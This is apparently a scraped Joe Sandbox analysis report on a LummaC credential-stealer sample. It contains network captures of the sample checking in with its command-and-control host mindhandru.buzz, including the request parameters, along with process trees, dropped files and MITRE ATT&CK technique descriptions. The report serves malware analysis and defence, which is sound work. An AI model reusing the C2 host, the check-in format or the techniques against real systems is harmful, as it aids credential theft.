17 bb ee 32 f9 ac 0f 7a ea 81 2e 9d a0 c4 9e 68 2b f3 fc 27 c4 38 4f eb 79 79 1b 15 55 d3 1c 3d e5 ae dd c9 c7 fa be 15 b2 5b 90 9b 29 28 ad b6 Data Ascii: \Yx7IMvK}p_:s_k^BAV&fjFd'g)'r!}7*}};S]}8TH`q}X7xvH5 ~J 6qfDn9PK@wV~!5ES9TqUK/R~^%-=rf2z.h+'8OyyU=[)(
2024-12-26 11:41:36 UTC	15331	OUT	Data Raw: 9f 98 90 48 12 06 fe 2f ec 86 2b 9e 43 d4 fd ab da d2 a0 e7 99 9a 00 e8 fb 02 fa cf f3 fc cb 12 0f 9a 46 85 be ea c4 83 e1 54 c4 ed 57 9d 22 9c 07 94 ba db 08 81 17 3c ca 72 2a 69 57 4e 16 9e 59 2c c0 11 1e ed f5 e0 99 8e 76 db 55 d3 1f 7d ff 45 1a e1 c8 44 69 7d ce 90 89 aa 4e 05 da ed 95 1c cf 5f b9 0f 84 f7 06 8d 09 ec 6c 45 8e 3e 2d 55 97 5d bc 94 54 ff 7e 48 c2 43 7a ed b7 86 b4 14 66 b3 20 a4 2b 52 b7 c9 dd 28 80 4e a4 50 c5 0e d4 ca 22 86 6d 23 83 bd d6 b7 fe 3a 23 2c 8c 11 0a 9d 0d a7 a1 70 4d 3f 59 e3 f4 1d 51 1e fd 8d c2 2c 82 29 60 94 70 7a 37 90 fd c8 0e 65 81 9d 80 f7 37 98 7e 5a 92 a8 dc f5 da a8 02 11 b9 7f ae cd 76 da 98 d1 d2 ec 5c b5 55 91 e8 53 38 2f 85 60 48 2b d5 06 bd 8e 6d 5b fb de e3 a5 c2 61 75 08 11 89 4f 0a cc 9f d6 69 89 14 7e Data Ascii: H/+CFTW"<r*iWNY,vU}EDi}N_lE>-U]T~HCzf +R(NP"m#:#,pM?YQ,)`pz7e7~Zv\US8/`H+m[auOi~
2024-12-26 11:41:39 UTC	1135	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:41:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=alflos7ds4v668s5dn1se0i6qm; expires=Mon, 21 Apr 2025 05:28:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rf8PoSEDuSTw%2BYq6PMiN5uEu6LD6MjtgDdHepEoxt%2Fu3YWo0tSrR0WSF2wGw1x8XouDHxVvIYiKs7mDW6t%2BCGx8NOSj%2Fu%2FQ3mvwg0zQzSk9Qmd6kZyZtD9mKqwiNCu5r75Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80cd7d78a40f6c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1722&min_rtt=1716&rtt_var=655&sent=341&recv=611&lost=0&retrans=0&sent_bytes=2837&recv_bytes=590633&delivery_rate=1654390&cwnd=180&unsent_bytes=0&cid=b4b8312d8c4834bd&ts=3936&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49774	104.21.11.101	443	6184	C:\Users\user\Desktop\COBYmpzi7q.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-26 11:41:41 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: mindhandru.buzz
2024-12-26 11:41:41 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 42 32 38 37 32 34 45 35 45 43 30 33 42 37 42 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=B28724E5EC03B7B7BEBA0C6A975F1733
2024-12-26 11:41:42 UTC	1125	IN	HTTP/1.1 200 OK Date: Thu, 26 Dec 2024 11:41:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sogvkl41qu4ha92otmnec2dik3; expires=Mon, 21 Apr 2025 05:28:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fb4HiN0gWtGN%2B6k5ZIbq9MF9bSqAXuFqd71pXud5ERJV8P48mytDyPSC3JXFlEbhNDBBh3acn390%2B6p2YO39nr50jNWBvWK1pRihwCl%2FgyTkZM%2FY51cd1hgvumD83BipXdc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f80cda09c544302-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1570&min_rtt=1565&rtt_var=597&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=987&delivery_rate=1817050&cwnd=252&unsent_bytes=0&cid=7cfb1579ea880aee&ts=786&x=0"
2024-12-26 11:41:42 UTC	210	IN	Data Raw: 63 63 0d 0a 72 59 52 67 6e 58 5a 4e 4c 47 7a 6b 78 43 79 5a 7a 6d 47 76 6a 52 33 54 73 6e 35 66 35 62 6c 70 58 67 6e 46 72 51 4b 53 44 36 50 32 2f 30 4c 6f 56 48 63 4f 42 4a 43 77 58 4b 4f 53 54 76 4f 69 4c 4f 75 48 55 47 33 55 6a 45 64 76 4f 50 61 44 4d 36 52 54 6a 4d 4c 69 42 73 46 5a 4b 55 6b 4b 79 71 46 55 2f 4f 78 4e 6a 65 74 70 38 59 68 4f 63 38 66 63 53 32 51 34 75 49 46 35 73 48 71 42 6c 36 59 49 36 51 49 39 46 6a 44 4c 6d 41 4f 6f 39 6c 53 42 76 79 7a 6d 6e 45 39 75 31 70 64 59 61 46 58 71 77 6d 54 30 55 34 7a 4a 34 51 61 7a 45 7a 56 4a 54 73 6a 6d 53 75 33 73 57 35 2b 68 50 37 61 51 52 47 2b 59 35 41 3d 3d 0d 0a Data Ascii: ccrYRgnXZNLGzkxCyZzmGvjR3Tsn5f5blpXgnFrQKSD6P2/0LoVHcOBJCwXKOSTvOiLOuHUG3UjEdvOPaDM6RTjMLiBsFZKUkKyqFU/OxNjetp8YhOc8fcS2Q4uIF5sHqBl6YI6QI9FjDLmAOo9lSBvyzmnE9u1pdYaFXqwmT0U4zJ4QazEzVJTsjmSu3sW5+hP7aQRG+Y5A==
2024-12-26 11:41:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	06:41:13
Start date:	26/12/2024
Path:	C:\Users\user\Desktop\COBYmpzi7q.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\COBYmpzi7q.exe"
Imagebase:	0x9d0000
File size:	3'011'584 bytes
MD5 hash:	1F2EC1DE18A228831DB842ED61139322
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1547972050.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1547841537.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:41:52
Start date:	26/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=COBYmpzi7q.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	06:41:52
Start date:	26/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=1920,i,39115509241515820,3086793412648809458,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	06:41:55
Start date:	26/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=COBYmpzi7q.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:41:55
Start date:	26/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2124 --field-trial-handle=1960,i,9595328068211542477,1476688260023625604,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6b2cb0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 0109FEE6 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1582459376.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0107F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_107f000_COBYmpzi7q.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0f1033e9e1c581844621c4b1112bc0f52ab0f9e46a9018d28a50e179e9b489c
Instruction ID: 0c155cc26db14d92e04638303a5ba8edc408e0dfb883c8e886eedba802a14c3b
Opcode Fuzzy Hash: e0f1033e9e1c581844621c4b1112bc0f52ab0f9e46a9018d28a50e179e9b489c
Instruction Fuzzy Hash: 4791543104E3C19FC7178B7488655967FB1AF43228B2E85EBD4C0CF0B7D22A595ADB62

Function 010A02FA Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1582459376.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0107F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_107f000_COBYmpzi7q.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26fa6aa9467a83b52c19e954e37e480987c94f09cca362524e9c80c0c2e37338
Instruction ID: 505d1bf7aebcad8792eb9afdbb3b47dbe3c5f05e71711cfa802cd484442f64a5
Opcode Fuzzy Hash: 26fa6aa9467a83b52c19e954e37e480987c94f09cca362524e9c80c0c2e37338
Instruction Fuzzy Hash: 8D51427604A3D1AFD702CF74C5A7993BFA9FE032247688ACED5C18E057C361A15AC752

Function 010875E4 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1582459376.000000000107F000.00000004.00000020.00020000.00000000.sdmp, Offset: 0107F000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_107f000_COBYmpzi7q.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ded35d82531f012d131d89e86f5336bf5ed970ac8d38e7c8bd40a961e5e6fc2
Instruction ID: df91fcc0db08958af4802937f9f1c879316ea780f68855f112eb8a01b26e3f1f
Opcode Fuzzy Hash: 3ded35d82531f012d131d89e86f5336bf5ed970ac8d38e7c8bd40a961e5e6fc2
Instruction Fuzzy Hash: 0E41BC2200E7D59FC713CFB8C9A1A867FB4AF17224B2A45CED4C18F067C264660AE752

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report COBYmpzi7q.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Windows Analysis Report
COBYmpzi7q.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre